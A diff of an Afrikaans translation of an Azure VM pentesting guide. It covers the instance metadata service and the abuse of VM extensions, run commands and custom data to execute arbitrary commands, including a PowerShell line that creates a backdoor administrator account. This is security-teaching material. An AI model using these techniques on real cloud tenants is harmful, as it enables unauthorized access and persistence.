Metadata -Die Azure Instans Metadata-diens (IMDS) **verskaf inligting oor lopende virtuele masjieninstansies** om te help met hul bestuur en konfigurasie. Dit bied besonderhede soos die SKU, stoor, netwerk konfigurasies, en inligting oor komende onderhoudsgeleenthede via **REST API beskikbaar by die nie-routable IP-adres 169.254.169.254**, wat slegs vanaf binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die gasheer, wat veilige toegang verseker. Wanneer daar na IMDS gevra word, moet HTTP-kliente binne die VM web-proxies omseil om behoorlike kommunikasie te verseker. +Die Azure Instans Metadata-diens (IMDS) **verskaf inligting oor lopende virtuele masjieninstansies** om te help met hul bestuur en konfigurasie. Dit bied besonderhede soos die SKU, stoor, netwerk konfigurasies, en inligting oor komende onderhoudsgeleenthede via **REST API beskikbaar by die nie-routable IP-adres 169.254.169.254**, wat slegs vanaf binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die gasheer, wat veilige toegang verseker. Wanneer daar na IMDS gevra word, moet HTTP-kliënte binne die VM web-proxies omseil om behoorlike kommunikasie te verseker. Boonop, om die metadata-eindpunt te kontak, moet die HTTP-versoek die koptekst **`Metadata: true`** hê en mag nie die koptekst **`X-Forwarded-For`** hê nie. @@ -522,7 +522,7 @@ az vm extension set \ ``` U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- Stel wagwoord terug met die VMAccess uitbreiding +- Stel wagwoord terug met behulp van die VMAccess-uitbreiding ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) Dit is 'n **VM-uitbreiding** wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om **arbitraire opdragte** in Windows VMs deur hierdie uitbreiding uit te voer: ```powershell @@ -603,13 +603,13 @@ Set-AzVMDscExtension ` Hibriede Runbook Werker -Dit is 'n VM-uitbreiding wat sal toelaat om runbooks in VM's vanaf 'n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-automation-account/). +Dit is 'n VM-uitbreiding wat sal toelaat om runbooks in VM's vanaf 'n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-automation-account/index.html).
### VM Toepassings -Dit is pakkette met al die **toepassing data en installasie en de-installasie skripte** wat gebruik kan word om maklik toepassings in VM's by te voeg en te verwyder. +Dit is pakkette met al die **toepassing data en installasie en de-installasie skrifte** wat gebruik kan word om maklik toepassings in VM's by te voeg en te verwyder. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -637,7 +637,7 @@ Die vereiste toestemmings is: - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` -Eksploitasiem voorbeeld om arbitrêre opdragte uit te voer: +Eksploitasiemodel om arbitrêre opdragte uit te voer: {{#tabs }} {{#tab name="Linux" }} @@ -730,7 +730,7 @@ Dit is moontlik om 'n paar data aan die VM deur te gee wat in verwagte paaie ges - In **Windows** word pasgemaakte data in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as 'n binêre lêer geplaas en dit word nie verwerk nie. - In **Linux** is dit gestoor in `/var/lib/waagent/ovf-env.xml` en nou is dit gestoor in `/var/lib/waagent/CustomData/ovf-env.xml` - **Linux-agent**: Dit verwerk nie pasgemaakte data standaard nie, 'n pasgemaakte beeld met die data geaktiveer is nodig -- **cloud-init:** Standaard verwerk dit pasgemaakte data en hierdie data mag in [**verskeie formate**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) wees. Dit kan 'n skrip maklik uitvoer deur net die skrip in die pasgemaakte data te stuur. +- **cloud-init:** Standaard verwerk dit pasgemaakte data en hierdie data kan in [**verskeie formate**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) wees. Dit kan 'n skrip maklik uitvoer deur net die skrip in die pasgemaakte data te stuur. - Ek het probeer dat beide Ubuntu en Debian die skrip uitvoer wat jy hier plaas. - Dit is ook nie nodig om gebruikersdata te aktiveer vir dit om uitgevoer te word nie. ```bash @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Voer Opdrag Uit** -Dit is die mees basiese mechanisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. +Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }}